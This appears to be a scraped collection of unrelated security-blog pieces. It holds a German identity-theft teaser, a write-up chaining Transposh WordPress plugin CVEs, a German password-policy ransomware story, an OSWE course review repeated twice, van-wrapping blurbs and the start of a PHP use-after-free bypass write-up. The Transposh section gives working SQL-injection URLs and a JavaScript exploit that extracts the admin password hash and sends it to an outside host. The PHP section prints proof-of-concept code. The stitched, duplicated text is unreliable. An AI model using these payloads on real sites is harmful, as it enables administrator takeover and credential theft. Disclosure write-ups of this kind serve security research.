Gefahr -Identitätsdiebstahl bei Bewerbungen im Netz
Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl. “Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten”, somit -VIELEN DANK für IHRE IDENTITÄT. Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.
Zusammenfassung
Identitätsdiebstahl geht ohne großen Aufwand & Kosten
You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:
Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.
Part 1: CVE-2022-2461 - Weak Default Configuration
So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:
This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.
Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting
The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:
When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:
At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.
Part 3: CVE-2022-25811 - Authenticated SQL Injections
So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:
This results in a nice delay of the response proving the SQL Injection:
To fully escalate this chain, let’s get to the most interesting part.
How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting
Approach
Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.
Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.
This is a lot and will require the victim to stay on the page for quite a while.
So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.
Transposh’s Sanitization?!
While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:
It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.
Preparing The Test Cases
The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):
I’ve split the payload up for readability reasons here. Let me explain its core components:
The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.
The False Case
Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:
The True Case
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:
As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!
How to Reduce the Exploitation Requests from ~2200 to ~300
So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:
Let’s first define a couple of things:
46: the lowest end of the possible character set –> cur (current) value.
122: the upper end of the possible character set –> max (maximum) value.
0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.
Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:
cur=cur+(Math.floor((max-cur)/2));
This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.
However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.
Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:
Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).
Some JavaScript (Magic)
Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:
asyncfunctionexploit(){letresult="$P$B";lettargetChar=5;letprev=0;letcur=46;letmax=122;letrequestCount=0;do{leturl=`/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`constresponse=awaitfetch(url)constdata=awaitresponse.text()requestCount=requestCount+1;// this is the true/false differentiatorif(data.includes("Bulk actions")){// "true" caseprev=cur;cur=cur+(Math.floor((max-cur)/2));//console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );if(cur===0&&prev===0){console.log('Request count: '+requestCount);return(result)}// this means we've found the correct charif(cur===prev){result=result+String.fromCharCode(cur);// reset initial valuesprev=0;cur=20;max=122;// proceed with next chartargetChar=targetChar+1;console.log(result);}}else{// "false" case// console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );max=cur;cur=prev;}}while(1)}exploit().then(x=>{console.log('password: '+x);// let's leak it to somewhere elseleakUrl="http://www.rcesecurity.com?password="+xxhr=newXMLHttpRequest();xhr.open('GET',leakUrl);xhr.send();});
Connecting the Dots
Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:
Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung
Ein gewöhnlicher Arbeitstag bei der Usability-First AG in München. Die 2000 Mitarbeiter arbeiten derzeit an zahlreichen Großprojekten und fokussieren entsprechend die Produktivität. Auch Nina Nixmerker ist in Ihrem Projekt vertieft. Am Samstagmorgen wählt sich Nina aus dem HomeOffice ein, um noch einige Projektabschnitte für Montag abzuschließen. Sie wundert sich kurz, dass Sie bei der Anmeldung ihre bestehende Session beenden muss, da Sie sich sicher ist, sich am Freitag noch regulär abgemeldet zu haben.
Am Montag stellte die IT fest, dass ihre Zugangsdaten nicht mehr funktionierten. Nachdem Sie sich mit dem Notfall-Admin Account angemeldet haben, mussten diese feststellen, dass sich keine Dateien mehr öffnen ließen und mit einer .locked-Dateiendung versehen waren. Nach wenigen Minuten startete ein Chatfenster bei dem Account der IT mit dem Hinweis, dass die Unternehmensdateien verschlüsselt seien und man ab 15 Uhr für die Verhandlungen zur Verfügung stünde.
Was ist passiert?
Das Unternehmen Usability-First hat es in den vergangenen Jahren versäumt eine Password Policy einzuführen, noch die Nutzer entsprechend zu sensibilisieren. Somit arbeiteten alle 2000 Mitarbeiter im Unternehmen mit der Default Windows Domain Policy, welche unter anderem folgende Werte vorgibt:
Passwort Länge: 7 Zeichen Die Passwörter müssen mindestens 7 Zeichen lang sein, d.h. mit einer durchschnittlichen Gamer-Hardware kann ein Angreifer die Passwörter unter einem Tag knacken, wenn dieser Passwort-Hashes erlangt. Außerdem wird die Liste mögliche Passwörter, welche von den Nutzern verwendet werden, stark eingeschränkt was zum einen sogenannte Wörterbuch-Attacken begünstigt und zum anderen klassische Brute-Force Angriffe auf Login Funktionen.
Lockout-Schwelle: Deaktiviert Ein Angreifer kann potentiell unendlich Login-Versuche auf die Accounts durchführen. Dies könnte an öffentlichen Diensten wie einen OWA oder M365 missbraucht werden, deutlich gravierender wäre jedoch, wenn ein Angreifer im internen Netzwerk Passwörter ausprobieren kann.
Aufgrund fehlender Awareness, Tools und Unternehmensvorgaben hatte Nina Nixmerker für alle Ihre Accounts das gleiche Passwort. Das Passwort Nina.N1! verwendete Sie sowohl auf Social Media wie Twitter, Instagram und Facebook, wie auch für Ihren Windows und VPN-Account.
Durch einen Datenleak bei Facebook wurde 2021 ihr Passwort offengelegt, wodurch Angreifer zunächst ihre privaten Accounts kompromittiert haben. Hierdurch stellten die Angreifer fest, dass Nina in einer mittleren Management Position in einem Umsatzstarken Unternehmen tätig war. Nachdem die Angreifer sich anschließend im Netzwerk angemeldet hatten, stellten diese fest, dass zahlreiche User (darunter auch der Domain Admin) den Usernamen als Passwort verwendeten, wodurch diese im Zeitraum von Freitagabend bis Montag das gesamte Unternehmen verschlüsseln konnten.
Was tun?
Es gibt grundsätzlich 4 einfache und eine mittelkomplexe Maßnahme zur Minimierung derartiger Risiken.
Passwort Safe
Kaum jemand kann sich mehr als eine Hand voll komplexer Passwörter merken. Wir sind der Überzeugung, dass Nutzer sich in der Regel nur 3 Passwörter merken müssen.
Smartphone
Windows/ Mac Login
Passwort Safe
Alle weiteren Zugangsdaten werden in einem Passwort Safe erzeugt und verschlüsselt abgelegt. Bei der Auswahl des Tools solltet Ihr folgende Aspekte beachten:
Einfache Nutzung für die Nutzer (also Apps für Client, Smartphone und Plugin für Browser), Synchronisierung über Geräte und Rollen- und Rechtestruktur. Wir sind zusätzlich der Meinung, dass man Passwortsafes niemals in der Cloud hosten sollte, sollte immer eine OnPrem Lösung bevorzugen sollte.
Password Policy
Eine angemessene Password Policy im Unternehmen würde verhindern, dass sehr einfach und unbedacht Passwörter verwendet werden. Auch eine Lockout Sperre bei fehlgeschlagenen Anmeldeversuchen ist zwingend erforderlich. Wir empfehlen unseren Kunden folgende Konfiguration
Passwortlänge: 12 Zeichen
Passwortalter: 180 Tage
Lockout-welle: 10 Versuche
Lockout-Dauer: 6h
Reset Lockout-Counter: 6h
Dies ist unsere Empfehlung aus zahlreichen Assessments der vergangenen Jahrzenten. Falls Ihr der Meinung seid, dass 14 Zeichen mit unendlichem Passwortalter die bessere Alternative ist, seid ihr herzlich eingeladen mit mir auf Twitter zu diskutieren
Awareness
Ohne ein grundlegendes Verständnis über Passwörter (Mehrfachverwendung – Datenleak, Identitätsdiebstahl, Schwache Passwörter, etc.) helfen die oben aufgeführten Maßnahmen nur bedingt. Deshalb sollten die Nutzer bezüglich dieses Themas (mindestens bei Onboarding im Idealfall 1x/Jahr) Informationen zu diesem Thema erhalten. Hier ein inhaltliches Beispiel für Tipps zum merken sicherer Passwörter -> Link auf Blogbeitrag
Audits
Sofern möglich, sollten mindestens die Passwörter in der Domain und bei öffentlichen (aus dem Internet erreichbar) Anwendungen jährlich überprüft werden. Bei Fragen, wie man dies im Idealfall prüft, sucht Euch einfach einen Dienstleister Eures Vertrauens
DER HANSESECURE VAN Hier ist er der ein wenig andere Van. Wir sind mit dem Ergebnis sehr zufrieden und können euch die Jungs von CAR GROOMERS sehr empfehlen – selbstbezahlt und somit Werbung aus Überzeugung ;o) Danke für das Interesse an dieser kleinen Reise und wenn ihr uns entdeckt- schickt doch mal ein Foto :o) […]
Die Feinheiten Einmal alle Ideen und Wünsche dargelegt. Die Möglichkeiten (Farben, Oberflächen, Effekte) und Materialien durchgegangen. Mit dem CAR GROOMER Team besprochen und visualisiert. Kurze Zeit später …. Hier war er- unser Van in 3D. Nochmals Kleinigkeiten personalisiert und ab ging´s in den Urlaub für unseren Van… WRAPPING In wie weit ihr euer Auto verändern […]
This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.
This course is designed to develop, or expand, your exploitation skills in web application penetration testing and
exploitation research. This is not an entry level course–it is expected that you are familiar with basic web
technologies and scripting languages. We will dive into, read, understand, and write code in several languages,
including but not limited to JavaScript, PHP, Java, and C#.
I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.
The Courseware & the Labs
I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.
You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these
are:
Authentication Bypasses of all kinds
Type Juggling
SQL Injection
Server-Side JavaScript Injection
Deserialization
Template Injection
Cross-Site Scripting (this was unexpected in an RCE context!)
Server-Side Request Forgery
Prototype Pollution
Classic command injection
It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.
The Exam
Overview
The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.
The Proctoring
But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers
or mobile phones in the same room.
The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.
Basic Machine Setup
After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:
Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
Python for all my scripting works
The exam machines come in a group of two, which means you’ll get one development machine to which you’ll have full access and one “production” machine which you don’t have complete access. You’ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.
The development machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.
Exam Goal
The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.
Pwn #1
Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.
I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.
After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.
Pwn #2
After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1.
Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!
I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for
another 10 hours.
Documentation
On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!
I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.
A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam
Who Should Take This Course?
The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.
So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.
But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.
This is a review of the Advanced Web Attacks and Exploitation (WEB-300)
course provided by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.
This course is designed to develop, or expand, your exploitation skills in web application penetration testing and
exploitation research. This is not an entry level course–it is expected that you are familiar with basic web
technologies and scripting languages. We will dive into, read, understand, and write code in several languages,
including but not limited to JavaScript, PHP, Java, and C#.
I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.
The Courseware & the Labs
I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.
You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these
are:
Authentication Bypasses of all kinds
Type Juggling
SQL Injection
Server-Side JavaScript Injection
Deserialization
Template Injection
Cross-Site Scripting (this was unexpected in an RCE context!)
Server-Side Request Forgery
Prototype Pollution
Classic command injection
It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.
The Exam
Overview
The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.
The Proctoring
But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers
or mobile phones in the same room.
The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.
Basic Machine Setup
After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:
Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
Python for all my scripting works
The exam machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.
Exam Goal
The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.
Pwn #1
Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.
I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.
After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.
Pwn #2
After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass.
Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!
I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for
another 10 hours.
Documentation
On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!
I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.
A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam
Who Should Take This Course?
The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.
So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.
But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.
VON DER IDEE ZUR UMSETZUNG Zettel, Stift, Ideen – nach vielen Überlegungen und zerknüllten Zetteln entstand dieser Entwurf. Ab zur Planung Farben Das Aufgreifen der Firmenspezifischen Farben = rot/ grau/ schwarz/ weiß Grundfarbe grau / Autodetails schwarz / Linien & Logo & Schrift rot + weiß Auffällige Farbe passend zum Web – türkis Matrix/ binär […]
Dear Fellowlship, today’s homily is about the quest of a poor human trying to escape the velvet jail of disable_functions and open_basedir in order to achieve the holy power of executing arbitrary commands. Please, take a seat and listen to the story of how our hero defeated PHP with the help of UAF The Magician.
Prayers at the foot of the Altar a.k.a. disclaimer
First of all we have to apologize because of our delay on the publication date: this post should have been released 7 days ago.
The challenge was solved only by @kachakil and @samsa2k8, you can read their approach here. About 7-8 users were participating actively during the whole week, and only 2 (plus the winners) were in the right direction to get the flag, although everyone tried to use known exploits. Our intention was to avoid that and force people to craft their exploits from scratch but… a valid flag is a valid flag :).
We are going to keep releasing different challenges during the year, so keep an eye. We promise to add a list of winners in our blog :D
And last but not least, it is CRUCIAL TO READ THIS ARTICLE BEFORE: A deep dive into disable_functions bypasses and PHP exploitation. Tons of details about disable_functions and the exploit methodology is explained in depth in that article, so this information is not going to be repeated here. Be wise and stop reading the current post until you end the other.
Prologue
The intention of this first challenge was to highlight something that is pretty obvious for some of us but that others keep struggling to accept: disabling “well-known” functions and restricting the paths through open_basedir IS TRIVIAL TO BYPASS. People does not realize how easy they are to bypass. If you have a web platform that have vulnerabilities that could lead to the execution of arbitrary PHP, you are fucked. PHP is so full of “bugs” (we will not call them “vulnerabilities”) in their own internals that it costs less than 5 minutes to find something abusable to bypass those restrictions.
Of course disabling functions is usefull and highly recommended because it is going to block most of script kiddies trying to pwn your server with the last vulnerability affecting a framework/CMS, but keep in mind that for a real attacker this is not going to stop him. And also this applies for pentesters and Red Teamers.
If you, our dearest reader, wonder about what sophisticated techniques we follow to identify “happy accidents” that can be used for bypassing… fuzzing? code review? Nah! Just go to the PHP bug tracker and search for juicy keywords and then sort by date:
If you execute this snippet, it should cause SEGV at address 0x123.
(…)
When PHP executes the line $my_var .= [0];, it calls concat_function defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_functiontries to convert them into strings with zval_get_string_func.
If the given value is an array, zval_get_string_func calls zend_error.
caseIS_ARRAY:zend_error(E_WARNING,"Array to string conversion");return(try&&UNEXPECTED(EG(exception)))?NULL:ZSTR_KNOWN(ZEND_STR_ARRAY_CAPITALIZED);
Because we can register an original error handler that is called by zend_error by using set_error_handler, we can run almost arbitrary codes DURING concat_function is running.
In the above PoC, for example, $my_var will be overwritten with integer 0x123 when zend_error is triggered. concat_function, however, implicitly assumes the variables op1 and op2 are always strings, and thus type confusion occurs as a result.
Also is needed to quote this message from cmb in the same thread that clarifies the UAF situation:
The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator). For the script from comment 1641358352[2], that decreases the refcount to zero, but on shutdown, the literal stored in the op array will be released again. If that script is modified to use a dynamic value (range(1,4) instead of [1,2,3,4]), its is already freed, when that code in concat_function() tries to release it again.
So far we have a reproducible crash and primer for an exploit (in the same thread) from which we can draw ideas. In order to start building our exploit we are going to download PHP and compile it with debug symbols and without optimizations.
cd ../php-7.4.27/
./configure --disable-shared--without-sqlite3--without-pdo-sqlitesed-i"s/ -O2 / -O0 /g" Makefile
make -j$(proc)sudo make install
Here is my env (yes we are using an older version but do not worry in the epilogue we fix it :P):
PHP 7.4.27 (cli)(built: Feb 12 2022 16:45:41)( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
Let’s run the reproducible crash on GDB using php-cli:
We can confirm that the issue is present. If we check the original PoC reported on that bug tracker thread we can see this:
// Just for attaching a debugger.// Removing these lines makes the exploit fail,// but it doesn't mean this exploit depends on fopen.// By considering the heap memory that had been allocated for the stream object and// adjusting heap memory, the exploit will succeed again.$f=fopen(‘php://stdin’,‘r’);fgets($f);$my_var=[[1,2,3,4],[1,2,3,4]];set_error_handler(function()use(&$my_var,&$buf){$my_var=1;$buf=str_repeat(“xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;
$my_var[1] .= 1234;
$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
$obj_addr *= 256;
$obj_addr += ord($buf[$i]);
}
This code can be adapted to confirm the UAF issue. In our case we can edit it to leak 0x100 bytes of memory:
When we print the $buf variable we can see memory leaked (the pointer in the hex dump is a clear indicator of it -also this pointer is a good leak of the heap-):
Keep in mind that PHP believes this $buf is a string so we can access to read/modify bytes in memory by just $buff[offset]. This means we have a relative write/read primitive that we need to weaponize.
